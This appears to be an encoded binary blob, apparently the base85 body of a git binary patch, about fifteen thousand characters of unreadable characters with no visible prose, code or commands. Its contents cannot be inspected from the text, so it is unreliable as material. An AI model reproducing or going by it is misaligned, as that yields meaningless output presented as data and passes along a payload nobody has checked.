zW-wfgC%htCH$$i@#*uA=?z%)i)fIzXRuR8~3dW$eg`7Nc+T5cE5!Jg%7E`-FrZ+9L zGSN-3M061@jrf|n?==YuXk-ceJkhvVub@9&&!VtP<@(l9@>*DfjG~TqXJLFV95>#N zn9T1p-~!E#45en9gdJTi9O8Uyp+^fy(*wRbC@JDe9UU66Bo}AfPtzO4^Y5l(1V?~X zCMIX(qf=oxZAcoko*&A{4f-M>j!iPS0@3U>IR0f4^k;pUQK@Eq+lR9(@-D8YDc&En zgX?TvhI6@7ND%@BC{Qmm~lqr9ggVo&=3VYLh-Xa5)@8F-7h96qZiAT zv0T}(o#%%5j{HgFm*n>l_uEG-a`MTK?xa{B1u&a5tofADyid+&Bu*iEoDA-I7M`ho zj0opKzri(&aIKdJnBs-@L5EPf2^K;4^2aRAu>sKm-6u`ytT(Uu*Flv~NM?+CL~Fum zIGyO5-ed#6u>wDFcB$<_k|9pw`tmb0{woj-O`lHFI-=HKAtJHJwz{&syqr!dLZT3Y zoCxJO7@?hGn?hByRpjXEzcM|1>25Z_2PQV{9td%fM~=eVQIV6ECS9QX>=K$!lnU$_ zywHwK5Koan^VJYgL|iT1&a}t^HRz6z>oeL>{Gc*)8wAZW?l%ky7O<9t;;axtldn@0 zW&b9GLpQ32^>|b3fe_L?3-x!>Yv>Y*w2jP*%or7+lUdh2_(Qgca~N72v`@%t0!|?| zh#Jb1Y zkexTcJ1h)fvxA@?ueNJl=`p17nG$mvdubMig5rsHNkCQuD>0<;Rw0B{;D>tg=q~y0 zj7}+I*>0_eNOlR!(De22eO271CowF75FUfEF|=!c#6D@!;*Y$IVp;a(*?%W{6Zosp zou7qaLm|1umuk9qPxM-@WYCqM$FWf1MMR922W*v|`;3r?5z~kkWjQ^%22rTMs0zD& z5Z~c^4n3!txB?a!6~aVE3NN@J3#*H=k#@Wxz{&8=f`Rzlj&P5? z4%^NglJT2rGJZDg{@v}aS>3Yk@_swLjtG&c+D91#LdAeEuW_p1?Hn3IlejR6!)7}w zJP7E&G&OK$)h{aGnEmz$Q>egnMTI24XzzGtD*X~Wvo!&R`63vo?$6( zQt9YbhwY4fQYVo>6x43OShCPlA}qj1+NKj%j0lF6FFysmJ@=yr{6as1qDp5%W6ki* zlzT;))P!Brl=QhWtR-fN%^U(!;GB#K-^mI=mdWlWGzP2Zi(pgCoJ4FFEsOT>z>%q7 zO0l-#QdG;@Ab=OIb7gxxn$cSzp4^aia&W#tik?vco!%pI?2c|&!N~4RcVNb=5WXD( zpFVywqgY@k_1cpx6eLr!l*M?sIsw5D&^i#3A{gJVRwahzvj>~?dN%H(?jtTRuAyIy zpF80Xd0#O^t^x%m`;q4k>8dPt2*pnz5dMcj9BDV>Jj6Il?KDgrXJ+hkY_b@t)C$xg zi6F`p{6>05Lb`s3zM7x{nh0GguA~Q+>G+|vJzl6ts0G696Lk^HO*1pfZBh^bi6mZ| zBPP#St*lm7o}w`Wj}Nbef2l`nm1ob&L(f_>V(tQlEX~Q$h5{#1yon(19hq#xy~>_o zzPR!b2*OeLRvGi_6DJ5~`0hlJ%c<^yEvcC)$Rfdf36ON0A#8jr-rrp-(1g*6nmKOK zuo<1lr!YUY8Po{DQ`#3&Rta@X(gM-L4-roWmOyIMDfF!V(2t~t8F6UVBoxFfFC+F? zidI7YUsAZ&Ga2=7qHFP8(iDQ|=$_rN@?>7n#xvFXntwu1!Q2quaT!V8>FVzTlZ7*| z53hq9r<}3L{DO1Cj+8yCeGwtXX&ngPcE&|EYZSpWP7G#;+{c9@-wf5Ep}|eMzEbL{ zsFy3@3jP-<&4fuN5V}!qu1HIn8?%)s8F<2Sp2Joix8vN_axN04N{9d1T>qbiuK$ht z>;39pBN{y-Dy=&pwIB|e2H0NWL{xC_MZwOcH>AkZA}C1wZgwYnJ_|-<)W{*|3f~$n z3}P<6)@~WJ0ORuJ-QhI5?iG7Q3GZy>_Cr0Nja5J!>ifqf1AZUx9=)B)ou@|t$5+l2 zjfgHSo#rtEspD=(BP@c_P}Z>EDlCbA?)UE!VcIoCk2HGsc&J=61@JAajH%qprA=lRimmC2L$( zaW{~{{pFYw7p$|TwSI(Wa~Uo3{0 zzeAHi;8fbdI$tSBAw=eZYu(J!?ogqPAfQSw1PPE#fRJrC44_Rzyy7Q7LSbac-`kKq zp^RZ&qcCPu@;kBhXzmqzM1UCmvg0<{8t-IFt%O_ZRef*wzGA?pihh~O(`sx$-fVm~ ztFh44C6J1_!J^qiyK~D{i|H)eom@@669HglRg(aAcMXsL4q^eMsjTSeRgEGuBTipq zi>~J{x)CiJ*%>IShiDjTNc1xDxgbi@QzikPmsV7Sk1|{3L`+7f|`Z%TsN|+yt}h4T=riXLSjA?nkf(kN13=qFWwDvf(qUNP|b9pigS6@^sfP9aSY6j z92&XAzX2mo_({Y6lX*KU=bnjsu5x`l6u|NLf6J?DD=RVlzb8-DSH9u@eTkoRV7_VK z`2Ip@eB7CafcLK*9R74vfBoiIIQpbj$I;n%p)7OnAQnV9f|cP}=O*EMQ%`u1LCd#1 zzh@5_0+8?#jn@pr$66F_#sPY*3m#OKp%cTt!LNW2iW^kKnGy>pUF3z_zsR!r8{^lx z2kJ5C_JQ_j!T4S?F}|>em+MX85%B$z{>1n#QF1e@Bxb5Gj7P?zal-dk@mgSko#Q=d ztO9)FjPGTb#IMo!M0HI{Y1p*-g!&()^4zFYD#q^!6Gqa9>?mig4o4(PSVr2WQ96T8 zpo2vj&5eSpUJjLHN~z=?$x4SoG_V$@kY@1aMi=Xu!zdf8ztT@Z;O8IhgY;Q6} z%UOHFeK|3(6H_;Rh})ZySZ10M>-3(+c6{Yu#n@tYHp>sn*7eZ# zGTGq7wJ*usY6D3kj?XthGZDe7^l}?cWPA4B1npt@!m@@YCgQpk71W((Cm_;PmRVSd ztPS{mQ-;S^=ri*hicjK`v6xEYuW&%cI`f5(DDKPItQ$?`9G&uz`le0)FaKoa{~2`b z^E*oaGeQ5~*j#%OxBqXht!{qP|G&h~xBNfi8loZO-_!Q~z+YIa*G7D*gHco85kwUu30^nT!Nz&6t^{H*=1RFPyb# zkh7t!31g*HoT-N@5B}A|8R$*~pT{TnkmeZEWEP_#Tf?4A%(q={muTtYoR5=K!shc}UU<^$Th~+_IAY2OT zE11sB6$YvZ`l56}3>B#z?e+*GY`I*?DDYm17sX&YNrc{DxE&f(UQ?6;aDfrGcmhC{ zay_Z^n1+Z6T$Iy~EiTZ$i&ut{$c@y+P{bBhxH5$V4U8az>pFXy(EnZu02*SRiKfbq zNqH`~$B`kbXsBA;Gw4|TP?^<*nx~~b#O6{frCa~PJBPB{Pd%q1@Lu7<;p+7)P$4ah zI>gYLG>#YxwZKUK{$(Uoc9HsobKbHLE1q)ihz^A@N*y-bnjUB{TsQ=oG#}>;T1eO1vT9;we^UgtDf3Lp#ETrUzwNt6&gWbuFzWGhpB+ zo<~VP-Qzvi#^k}W1k3?Vs#xAMqanIRY|c}b-OLPI-1T9PLf{jz>;>Ntn}d){v<4xb zlHz_WkTZ`NfCi_)ZaAvX51A;;M+5Q5R0fNH0CkBcd4yRO5OS{3VmLBwtFvxcVmz}D zHmM^TprgZiG%Z$a!|$qN zM%(QwNdh@Zn3(S23QhtHt#4Z$`7Mel~o~@KuE95E$XKfJJ+t#sdo4RP6(z&@VwlAd&+qxxR>9 zY2(iU(ol}ue#4P;;c12UKk0xVk42T+R7oUO|2C=2R`gV6)%~A7yxBe4HPUjLMPozL z)xB7LqJenn?z`ez)iqF zVHhEV@=z#!Mt6kyG{jm^GGPSIWV+U0-b?GpBEj5l7i*{lulEjKR`+Jz!|SmW7QZziwGCQ01+s4hiXk#nZMqlO#5pYon$yZPmRl8$(REjOAB9J-= zq64K-iq%pqLRQ7MA#Ruju?W(z6_EF&+V4IdxrOBl{jU&$Iu*9I3K*X+v60d8i&yL7 z{0*Ua@a!KBS^bpnK1B3?ERMkcg&9V45F1fWbL3~_iI`>1hVlG*B2gKq7y&8VDI?-f z$MhHsOiJepAD4lum>DaGn{gAFFuh3yiN=))D_IickQtUZVd$eNfG}|7K@pl7G_hB8 zjx5q)3lL{M3IuZ%0Z&!CC_tEWGpfU3v$fPD0v)>(#mLkazktwB8E(;<@iQxQ?WmX! zqPw)Qur>Xjg7cNIcH+2ap(ApRAon!nogLOIj1!s7ia(#R^slH(#Q=A895M&Zmp7GY z%sj7CLClEaeWd~EyG@l=HsaM_Wmcx|ca(4ee{3pHa{w z==OW*wj};F_Phlw%IbFY>>JZ{y&448U>N8v4Ya(HoL0)m!$_GIyf}{Z!0e-@M;3$R z0B8dmmW)vl4uSVELhXCuSGB!rqroRB3B*F&ZcT*i)|z7bI@lIyruVUr>82DJvZA(*$=Zi~r5$C=F-_;^D($*G~Z0vq%3 zy0MLEs_$bO{NC(R{vqET!a9Lke5uN1FT0dkkgHZ>QpAhyx~s50>|p!Dtj86;ZS;Y` z7(MH{j0ZX90@+*_u}A?SYfFhqqTQ#t?@v^wp<5%zp80s2*fUH=?%5z9 zgLoP}x8lb;Xrcx+1vhcQFO-bJ0RQRXKb-=5L=>*z4^S`o-ZZIdfn4A^9oQ|Hnkc{v z+#YZ__|-9QSVz0EtP9G^G(aaC-*`+Ddmlr4+5S@dgADrdGpkQ2@<3koZ=Arqo^%nF z*waa7uE92wH)G3eUtF1ZS|G|Z2p^oXMR2mhWxEic9lQhZ>D|Jm?NMsNw(Ye?c92W| z(?DOpS9b=tx@^_4wD%5bvtPEhvn~nw`htpwXTZ3LNcdV;qONH-Y<|!Q3#x3Rq<}5T zCduvx0!uM^yy&fh7YgCIGKP zH}d3VqV&BW`DnxU96}V!mVTCQkQD zWWSR7;bx`2f1F+YQKSRD3U3*h!y$R==+r2&fhrPO$bB0*th_|dJ-T`BTH}8EBQwelN>N(UYe27Qcaous@5C@E~;Z~%CQRS9*W>TCA^_ELC)ZUyyhXyKC!7@ zZYwJoQ4CybWw~NIWo%-_^oFJ!z0l`3Z4*-Vcfo@UScddPeV^RXEfNvKoHn7csT5y4 zXt2T_z(8SO6PZ68yMlkWF2}g2TYt^H}s#uq}Cs|A*`+6UX9lffpJbk)pz!djf z*@@7RNvu}6u-P?X+=8;x7F5#c%IH z{)yExwe6J`alteT>}sof+1^WgJGYntv=vL44K^SPz||dN0k2R|RBcl#qD6EVPB-;P zTQNCjgzk?$-G`oyW+)4y?`lHg>&G05DeNJBh3m7Ysu@ctYOq^}xY}S_J|(WjB+{sT z(0-JeO*o-#jKI+C+iex)Exf>Caqeuds6$e?ky9!_HZ{bEP~)GJo7f!KiTe|Q~lguv9EyYdmdd;>* zU4%i~etFC54NM>^?zs)1*`-W2pV2P`<}a}EnuEFV?#_N=Ij**i*D78{j_KA-Ag{Mn zO7igBl0O*Hj!&==zRIg6T81ak=Ela_1}%l<)B{ZZyk{qFyx&9vAd#Wfz*k{xTf&13 zCKZze#rM+?v>i~&DdA%!Bp0Z(w4W`{Wv?vGa3A-KzyS;009$(0)ZHxux@o<0)>Q-6 zMFHG6@iNt$Ll`xbcHOu*nS8{uB`K?hqIQX%?%abqjh?5SWTrKHVvLatQ!rRgt_JSAh3KpiaY^tb1T5KAY zvk@C&5zBF-zuX2z1(sbz8Bqyp2_lHJd9wX*)@y5{p^3<} z3Z=KYjKZVksIH|s)+J5^S>!UlvAVHQAts@QHbOIGe+dd1{Ljc-auVek?ir}~6+)dcqp*Qz;7RzZP*T!4SojjA#_q*J(%5=g|w}>)_n=Sl{elHp+ zxhW0JcbnOavBR2g32%istgIct+O`~MAxx>C;?;)09z&9D<2RQtcVSzv2^C>nkPnTQ}Da= z1x@oH&I7a%m^U(AVk#j$RE#dY<5IJAZAuFV`}9oMX7Dk+VcJI1y6fMw024x4&a`Rp z+;zCUyF@8wOuEaaN~Fsf8d`VS{Sk$oa$9xp`udI(n<7p{@nv&=r;djTjz8-hXnqdz z6c)$i5lE6u8@Elz@?m;dl8iG8Cn-s$DpDmGc8}TDV?<`K)j4Rn>h~FC0c9;}>t&jL zZr{ByO2NC^$G0_;grSRgk>(3y0UW%j-GwoQiR&^cIF3`|j-$5L5ZWSn_^26Lg&CAF z{^QJ17`Y$0?T9-JlGfI7Enfgt@D9Q*gPIuF(s*|-UMHiLV+Gr2{ybS?fcG+-bmu{D zN}XV#<2uEF*4Lui{52BGjRsW`IaS7;>3Xo4r{cZ1aWNr1ZM{t19>!zQZ4orKw48)s za6Pu}#|=Q!P)}?_v|N&(Pf2V9F-DX|YY_9;c{<;E0!?Y<#QQlO!Nqz(`?wr4Vq53GAw-Fk-esD~-HBh9ne_T~By z=l)g;UwDMyo+HUPdB(kwT0ne2aA`XB zFm5%fI))hrhTzGQzmXUT7XpTavjjuG!m=_WO(ah~HA12buq0PR7hoxn1kN{(cg^UC z0pH8{lRSOIc{7~}aop*n&YKuX405cG_gXuSUm%K0U_|}#43NakxP2Vj$y_4VUyj1` zLp3P0EG8+e-1Yp8I>S5PvMo4P&;l=K??yoE+>0e{x}CmF91j&`cY zRop^?ka2Xxcb>vYNTxNV>q+tU0_NIX+j#b5v6ATq%5;%QFj=JOE4vxXs`y>ePpj!} z3}&D2+N=w81Tau0VVzhU9?XC>>W(e0S}Gfkl*zduTIRb`T2$`Ae@9E)osq#gB9ly? z<2Qu*Tv(YZr!QV>%WTeRxDa1q(%y04v0qiX-YM{9r%T$4Bk+~y<4sTK{Vgl+SM!sF z|IfD{WmqqGz0)^aR)6Mn0ORrh*EcseHlq0dtN7^~{{NTw`G)`hKZF0DvZenw(*cNq zum`AM!*E3D#Gj5&6A%t63|lH8e)PYPA|Q2v2|eJBG6tki-Jh5}AZ7mVICntGsOC>4 zFqaD4KYKEP>?vmTLdz|HZVwpkDcA{L>AU?o>8JXqWfn;717B83CF|F6e*zl2{u*gb zlX4QQ<%EGZC&9q?&(TA&H_$83NxM3MHaZC|fu`(R!3@;z3zvWAUR%9`-pG@he!D7m zCs4PXa~-cBKjDdaE_8!TezLD~maE_EsM!;!OGw)pNMGbE_v54v+8&6Su6Hv-8}=q; zn+Rsg1#IMx|)@Xs&i}n=amSG zds-~=-NmBKDi^0*&8dsIhSi78@oi#sb0}hBBQWll+g0g?lam{-Um+q3;Nzo4_3h3^ z34b@kJs4ydtb&by9?3hG>VRCM>n%;;l&jqm(-66S! z;PIfA1ZD71^oDSz5HKUw3yc>|(L)i|(!VL`9w0ROj&;=+n@6!^e9b3wvlu3A0LI?R z3VliWE?y zSKH&qKo9<*0muqleSQyhJ+D+MG7`4HJ^N9n%#z;tg}}YAoHQ0D6v5|4fputECb9U0 zX7!v=zJ|6_X20!JzQ{UrC@O@?8Prwujl=prhh_=2ns1L4)+kS9q+CQWfhD@j@ipWVCBrZ=`3%)T6cx7Gfv~L>n++@XkrI<1v8t(AvScvyrDxKbyR5 zukaMSaYrE9F(h-xm3avV+$*^IvV&k*;@!KeasQw_})`8DHM z^{g0MHX#$hX#MM8f0r?1rR2%9$eMx6XyM1*pOzRCb`ehOH=z8IGP{3VKmJL+i3Oon zw{4r!J3}r4bdw_@@V1bK8@oqiUW9L9Iy`;_t2#J-gD;3SRPriwdFQV-elltiB@?kS zw<4xN2ce0|= zR5V)KtJF486Fe0oPc9TF6cPlKRAHnN`kZ2*##kR}aTqi>swE^@&&sc0%y7XvZe7)* zC^rI!AVg56(?POK+$JJrAcEe6T5l)=Q}q>LN(yxI5j{Z!FQGZ+?(y^&oa60%L9EF- zR1^KpSr!DB3;B-1G?hD_6Sv{F=bSo`Bi@k>{Mh&rxD5(>q>0+1#WQ&!c)QZFA;lgriI&FzhEF2z8g zI7DG{(hErrwVpgtCIzMtP~KLzWmLI4G2@NzgjL7KsCqY&;aroHggy_f=gPwb7f$YG zU*udW8mzhjUnp##DB^nVYNx)#&NoiNNQQ{KLSF1rGICg`I9O!M<4|k5NAi@=NjTu9 z?9I_pMM=Eko`wC!WKMOHWQ>x={zVo%s<}tW8#J3FHo}frxIIjhD$TNe#0tLAtH+}X zrkaMO6fQxek$c9dxVqq9~e#uoyG_@g#kf%9*qsc-o69}EP*;i$wbVe4>j(F3sv zLv!zOPnt!P5wt`AXX1)9stBk}0?S?548sdb%_`2}Yca7*QgW=TP;=BsN~@ghWV|Rl zAkH+rDW&xhlLymih7`pm7G+GaosnFFmQF=F97!c#vm5g3Ys-Y(oqN`&_rS<2&RL;8 zDfdjOXqr&Vq=`XXT2|j3zo{MUzbYB~2l2ltvVQ*nze> z0BN#of@fVKTrb||9*g6cS5Uk*nrRkocA>n>OiTD!16gv7%ZZa@*X1@t7Z}xHhZGHdscqsQB+SkHB z2&|m6$4=CcYy1R1Z{P0h;J%c9zj^caZKEN>U4<~DPP3MEZVUSw92UjLMSQhbE|!FN zMH~+*V^~u`1nmvv$rdKJ7a_$Ik`0shif+cy!^cMXrG#_F*VOV=>6YY24DVWsXn)l0 z+SkzM;tjN>IB@abEBvQ}|MZH)eToCSD1Cj@b)smT%|QPnfwF!>Kv4_8qR_UAhvM4i zhOxR{#*_=hwk08g0psm#4*9*sk}&{vxECX^9C;rKQMv|6hiJ--4!HDWl7|Qis9}7N z)=kmrlGclGobjHZV+mLLNJOSFfIDEIMXJBXfMOu$axq2tcX zexv!gFG&JYv^J%n&pb@%!Hj$_J*0$?Q|$&aO*C7F;^K@j4yj#6_DEE+u>jLRT{}!h z&5AbZ*wO@o15RQguj=w^sdM+F+Q1~pIYBtu=yGboaj)`UB;L-4c81}`Z)!UYKBuEP zq(r?!IZ#uuNFY^eZub1->F&(Y3^VpLvb2QgNQYIpltM8w=X%1C)0dBso${`sl;tCu zFzXtc*^~J$1~okY^9?B)-OiaAhp*Oy#E?ttKy=(A%DuLI^A6R_;SYB+RDtc~9V!sS zvezJ64(&iQ=4bG=yaO|Hz|LI^Ovmb5xwoa`QVKf0h)NqAaxDz>%RtKOAW9$|=%4G` zXx78S{tA!N6qzw|r2fk|wjABO9h@zQC#QudRXY!TU6_Xw|3u+1yt2?=BZG6)u;44# zUEe|^CgG0`f&xf{exQxb0EJp1^h((}W~7KXcME@XrjRgD*ghyQnqOSH1tX$l)3K>H zMBXZ=H08OlmiiWYBih~c@knoUvRBwtMZwVvBRKqEc#H@8=`_h2(T-ZR6(v^)mCmp1Sr0+E%Kzqg|xs zS9w&Yl-XN#VE{{X(4hy+R@l44I$QgT=b*j{2~lq@pG=4%0msJ6j2b7IpNf4GxVh z*uTPyA07CqJT^`9v5h}btYhVYi9XGk|Cuu{i*OM3nUnrTVoi&x!?aq_dnTKGbkhSt zq7z~V)&TD}h4MG*r#_HCJotef5z1&;+(N*N_H%;~6vE2~5J%wc0-n zWe4zK1y@uUoRA%Z5dPbZfYQA^ZH-~#EO-q{Pj65elw0b=Z% z7M@SaDKR^gSx^RwbqOHIOSMJ4i%w{rFNsjXB8$r z^csraOERqmzBTUOAeR<~y7~HkZSURAu4F`*=p9d(#hF?k8=puIq{&aN{IU=W+A16n zQw9r@pWEUT9?DA&mX9x7{qgKW!U`LioJg1m^C3hVH9MGcWnlZh9Z7{Y`*CqA#JvY& zq4r_{hy=R#Gz)a^mbIV;_L=T#C)AS)?w1R1CxU042@+_mFR!iVD0&?F&XebHquqlg z3ai-z0k8~{2I{*^8(R)O-O|Kv1+EnA)K3t7o&zrtkdK|5Y&y)A9d&%+g*t_e|VBmFwAH|J2WT{J-Uu&9&ty{vSNuc=8SZ?@Roo1M^J- z$M+XPI}+gKqe=Zhzn`x(E6TrZgNJ-wi;w|srP&K zkRbpGA5l5(ka++%BS=DR$vMixMY1yN8~n=9!x*-(u8;m+MWDsvzFj zIiUb>_ps$zoy}@fva-#r%4lTr_jVE9Kt*oyn4dj2DwT@y`*UFM@yYyB`#+8U!{)O5 z@|6dNqIG-jKbilpt|s{Z>c+-5{{JO@Li|@`GO)A0|C;Kd$|9LHJu4tbQErIp$ zAo}k`2EQ#q9W7jO!sTaCx@s(6R{m2pUV66GHQv}hMR$pXgF}nn1=xga4DpcHu4L4( zQ~8hR1ybA-&?60od-&_Xil?p4Oni(Tbd*-`7+DMW_K@R=`JWPL{6DvW7f&pW8G*%3 zF|x4<)gi<29sZ}c5_zuQt7u{Y->TfrH1$@*^`-uAw54vlK;Y!xw_Y66%7ZN?cp+%( ztru)84Ly^^3vr($byoykiVrbMIuFqfAj|-mMWB9oxoN1+#zGZ-7TMe!@ll$-qLvLu zkiaM^ym+a7G8T|)G)Cv=7R8wz!6pKIAg$UCx?|5)zt?R;|3sR4(n)IWfTM0P-=QFkYs!OZCclGY#)lw3IM3qDchor5%dK(QP2V|o+w>zDPNO*+HIEz2MMn;Y7s&g|#ZB`H+Y{nuQQ_b5^KbWOk@ro+O8;W~IhdRFv(lFaU&iigFmV{Ca zqe?gH(;aYydUIxIqiY$Q=>r`yodgVl=+tRwfJMhy@Fd z(2@RIV%>ledu~w0Wgkm;*tzdlGs6$IDn<^DH zx%(`wu8Vj4lvbt9r}P(7$+aos63#vwMmwGhHY9-V&c?Zo;hdrY&ygGBt|)2Sp=A-o zYb^b-#@BV^2#WP?_iQJcZ#Bot(uRouNjbU~x$}==QB^ip$3;BZOqYDUR$` zlq5M;wN1|>SZ&Nw4Bx<+*209hCMJk2#X6{_m8bH`q~Q4)E3e1dG=(h z90CLuK)>Sio^Y*}WEB8IZ1K4;1fDJ6rKBUb93#66%Nf-tlhVFc@wmt4BwHc(%YZCU zeKcG2?F(xwo3|#sC()R_)oDH5T7}=ww#?;a_^aF9>RL}%wpLqfs~NtOIc7?i!=(Rx zTR`BsT~KzUTOP%%2q#NF&gsxg-G}2;1lfCSv;!c@IeOfMF)jj!r-$q>F z6%sQVIC8Wywu9ys`^Dt+s9uL+dOqE5g48~9>(?^XdDZ~2g=4kA-rAJvL_=S>=*A$l zFbUzJ#B~Mn;*acr0CI3`rmVW0xQEEiLbQB<%HZ=rQk)A8b!n~M#S;x(0`h%xGd0FC-xqQ;-KmMtx zKg&d<{vEaNQJw|FKDa!+J39<`i2w7*RNFu$2iAXX^Aa1mWo{J34wVbUq1J>s9}2(8C_xf=?HCDb z-<>t~1g~($Sjl;cZjdmNDL>l5qtF+hch6;8jU`%n1&BO(6CT3{1mXnMfhN-j%B9wd zK)_#pWy3T85%R-u=8T1#0Z#ZD6t?{icWjqb5u!9v5~o6h8e55wjMc7|>ZMxgXq{dH z`Dtt-Kau@dTbk?|7)7@?E1%a#tuo$T7oriUE=WYH?KQ{TvK<+x-}MU{M~B(2CBMG~QU@Z^#E%g#k#zxN!)-$` z+nXb~uK{6wX?H2vN+DP}>*NtsyB$zxOp+^n{0TiT)`C>qt)p#Y!+jzXL$4kWy{d?9 z&jx(ArJrK}cx`I;bj|>XcFG|1pmihCcKi;VT@<6{jx4!&CQWP{`=Rau%o~u;1?2;1 z9_Iqhh7vTJ*+G*e0B0KDyNoDQYt~r#iil$QL-rZOdX-uyM39;av948H)vOStUwTXW zC3520)7@xts((xQw0CuCg)~Pm4nj?Y&IE^ka&@Hh?K~($O@+?a>XlYjfWM9*3mpSA z*2lCd{0*DPmJnTGixXMLdqe!cT%q;s1?y`xI3TcFxd2;*4Yb>tv4J>Xf1WxtWk_Ed znkDJJPX3M&Mj|F_%tTWcHIVNG*p53vdm-#*9^zW9)Kr4(QFaV|H)Mb2Pdsf&yF;!; zUL?0?!Z2}bnX|cr-7A*n6gbxc>fI?iG4?y7d4uvug%#Hmf^ve^k96R<(ikB$%OGZ! zyQw*|O(S-mUt;Fzv-_!oZo7~NaNArz#mser?vAt-iUrKgHS%RH>*aVZ{g9xVL^bTp zEl@dg6Bv#a(DUdxp`@51dZq=$(ku*$d2u|^CbtT@V9c9kiO&tz?KpKYncKt zP7>%^^l>cuTBR%ZnMUyrD<&9TEU!3weI|=W>?^P@0ocw3fNcc;wi*egxLg>-=a^Z} z-O&ulv8}=+dNFgIQrpq#{gy?cpjBd3<|8LDxBJR;m~-L;D^ClD2Mi=y2fL(5 zS(XaKC7oqWa9Os&QVkh9xEoxa??<|>=|UtWz3O#rxE;ECaMSwK2k( z+fz|SEnrc1vdhMPkRGtPBQ0C`!Mmyi?`$QF?-t%N6GggZkxqqa0d`UnE%9t}0B8H4 za%jIEs4G|^>y^rJrci%L;*RzC*EIvtfaQ=xHHl;<>ij^eU}LNwWh}77>7t(=X}pXP zC-t0DYZ5z2oCbQ%b<14DPIDDUnQT5Z9}=(TD-amWOHvYw`Z1GTP+d>?#E7ICI1vNC zirPT7!X}+%+j-!Cl09y)-inukFa^hN+vtPy!JxRm5cOGeOz%9_^K%(J`yAI*d_?tH zE!$%p$B(kFkY0pE7?eoMLsjjG%hGF6wKC*=pe~lAj`lg+>*%S4QfVW2H(4WbRMVeW{_3zC*}ABW(f67=_|ex9^bcGBuL9Q<{D_UjF<*b;`m4kB zTR)HB8Z?7t;8O_Ww<$U=e-LuicN!}CPPLg`(Bx^XvEji=-2l~D0vYgRsKbvCec}Dw z#EhaYrl3mxkG(G7&xq-Z4G7a?bKP9P2t_Z%z#Kb|)Y{Lc<*U%ucKg{X^j@f;5*^*l zI7XurXVG$J)QY8LarU2E6G*EbJ55};{SAZFBsZ}2sPTPIg#E6eqGYghH3oa|T$P>f}ad zNp*xV6TZ`4K@?j}yra?R}_n^No- z0*EldRwFwK^z05;_QI8gyeCqqJANgDBq0Fbvn1D4lH{tbY>ivp(pelOdSKR+Vr}ji zE_qcVam@dk&gi|FT(kP3>%g}SC5{`%ytB*Lx?zvXRn__+nvS_4%5o-Vqj@+`n@ZB= zaV1-6GtMP`4Ok*dwkKz$T~lYeo^~dHB7WQqI=5ui9F!DI@-X2yRiv$2^(bK~PeN%6 z1b7~(6Fada&Q^2Hs0hNyz!Ipte)7N>h`Qm6#Hbr&tmmR}G?nsZD$Q(_%{Z~_+|`E`;F29Q%1R_rWs_E=E=h^V znxOj877PpUaiy?~e0kwIiCJtuIHr>PQawtjNbHYZ9bGpyZOYA*apH^Zfp=MsN4Xy9 zCYlq}g(ugSe>?4O_(|84#LIAqSI*KeV|h*IbHVnL(WE>QZktNEHnpT7>j~U%P9}^= z1ff4^BIgpcEuDGw&80LQc$zXyzYP(Fd_*UeoSeiCf!7$OKImXWU(bepdA=k0F+s3Y zkVcPe-gz zMBtgCivT&e>D=D+554Yl5!ck~Nb3buQn1d}tJTabA>S?ALzQW8(J5A?t|XEwe4RNP znP-t#vKc^K!CqRg)-tn~#&M!grj~ZlR=^an>7?KcSKOAZo_q`Dt!N4(T2S3y?Ol;U zxCZlsq=F^0-b`9xE@2M0YCW+yAL9iU*q_nZdE#o?ezLhijb%Jf5_k8&bh&M(9bcws z#b3tzV|`THOMSh(-C(%)+i4%=o(sJnUMm=G0k1PN<;4r>wnN7m7+Ed=8FjDp=@;YP zFdvOg@&!2n`Xp%Cejd7rsPR3gw;!nm305*Ift;*Hc20D_(9DsCG&f#PE)+}b4TJ!R zo$M^RKlb>g4O@9=>_F`Tb{;d$h+!KdQ%ypAiC~~EUXjiGZi<~=uV3o)Z#$_WR31SXM@oTV zty%`EO8}aH>URA8a(FaPOq#km;j(i=?tYGix=@ID0_(o-l8;A9;a2V1 zD|47_Cl_%UzbBS!7|beu<+{%4%vK^B&kNkokSBRgoX$-Lqq}VEb4&M6!boPr%u%s8 zR#Geym)61mKn+5Z-q=NjU>mWea}X} zmQt6#Ru&almzr$nBn`akQ9jYr&s@5r224A`Cc*E>rER;i8TDngb@MjtMz`N?Kqc|= zJGM&8^;+-kL^Trf(3x9G1zsENY`In(t2v{(14@B8i&cr^X1XxP<8Wc2T}T<{YwHT* zte$rAltdzr3-WL1K8ds_g*PE1yiE=+dpDgV0j)VXPg^R|F`(MZwt|WxNFo>fiB1h| z%F*#=f?qs@Qu$q)xw3rUNJc6k#M&MC5%%oula*#$w741dl3A>Alv#`TI2jX5ry4`*&Qe!j{2=cQM(#V4U?K}69c#!P3+)w>rf&df z$MLeD_m?VjGK9623}MIB7fXEa10>R>+jl0&`_E~l)?-6=GTApbJ!IC-#nIkYD)(~S z&g}fg71TSixUHoPRMl#J&)W=FXeO!di=ZVhj;UZh53k*4bZtui z5FALGktqdCum?iT%!C~-5$wPINv4`sApc-m%fealhcJ>B`*&O=3AgbbeI?nji$C2@` zjHlni8N&dyg#e!Z0DCS%I~+dbIkvn{O?cT7K-`n^i4 z@HlVcK%43dN6~llBBJEF-hiS4stoY&8u{3wLWuf&p3&eGF+f%gCI^Gl+e31u(LLrJn z6ulYr&%yLO$0}B7(ZNyCmV4apv-3s`+!krbtA4_<(zrz=rHHstBF>ZS zF@0uQ>^C|zUFWwUH%1cEWkPZ<*xe3(zdbYIGN!>^s(D7rXvz7XD4Otk!FwBV9n*)g2}I8l?qCc4ICQ8p^2kTd^h2Rqsr-9^ z*zRlwGcOEFUc9>Bxik2_TB{5mRMu{ax(3l7i*=H}VS(nm|R-HPtRbY&mp z7F?J!Cg?}}#zvp}kKn<3r9W_Wq%Dj-S9~aw1O4KBJO&bTC*}}t0kn=qoOut+P!8PV}UmN-lGDqqecV&tsXZk;eYXM^SEC5 zp;~X$n@6=uwFFfPpdY`*@zucaZ zi@WP9a{J}v>at4;#d7&;y<0B#?t1czMyXPjF~?kn8kftbHwEIK-^a(t(qmm5-@Cpz ze~q$knl>wqoDnjHzZ8paNRcdgCe%m**KBwAJBY2Q6Ce?WX=k=ik+02fz<(*ZbwR??aGEO) zuV-UrWsRv_jugD{)6sS0if4K610{qZH zLkN1zs6)IRn#p^MErL1AaJO>lO|gjF7`BV()R=rIFd=MD8Aa+jV-6L=i&*vi;X?s7 z#R2M9!~*mM486ink~)e#|B+}@YT3;Ba5?x~Y_*#0VpTA1l#@QL9BClS;<9%iDP&HV z!9;D#(DWdqp8zo?e;Ztp0n%f8${0xOKUYh~t&+Hb&W(Fe!E~VKz*shM93pN8*Cfm6 